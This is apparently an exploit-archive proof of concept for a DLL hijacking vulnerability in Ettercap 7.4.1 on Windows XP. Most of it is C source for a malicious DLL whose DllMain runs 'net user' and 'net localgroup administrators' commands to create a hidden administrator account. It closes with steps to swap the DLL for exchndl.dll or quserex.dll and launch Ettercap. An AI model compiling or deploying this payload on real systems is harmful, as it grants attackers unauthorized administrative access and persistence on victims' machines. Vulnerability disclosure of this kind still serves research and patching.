Exploit Title: ettercap 7.4.1 Dll hijacking vulnerability (exchndl.dll  
- quserex.dll)
Date: Tuesday April 24
Author: nimaarek
Vendor or Software Link: http://ettercap.sourceforge.net
Version: 7.4.1
Tested on: Windows XP SP3
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/*
Application Information:
Application: Ettercap.exe
Version: NG-7.4.1
Company Name: The EtterCap community, http://ettercap.sourceforge.net/
File Date: Tuesday April 24
Description: EtterCap sniffer
Operating System: Windows XP SP3
Total Extensions Verified: 2
Verified Extensions: htm;html;
=============================================================
//tested on Windows XP SP3
#include "stdafx.h"
#include "windows.h"
#include <cstdlib>
int main()
{
   system("net user apuser appass /add");
   system("net localgroup administrators apuser /add");
   exit(0);
   return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                        DWORD  ul_reason_for_call,
                        LPVOID lpReserved
                      )
{
     switch (ul_reason_for_call)
     {
     case DLL_PROCESS_ATTACH:
         main();
     case DLL_THREAD_ATTACH:
     case DLL_THREAD_DETACH:
     case DLL_PROCESS_DETACH:
         break;
     }
     return TRUE;
}
=============================================================
Instructions:
1. Compile dll
2. Replace exchndl.dll Or quserex.dll in Ettercap directory with your  
newly compiled dll
3. Launch Ettercap
4. Bo0o0o0o0o0o0o0m !
Greet to my Lovely friends :
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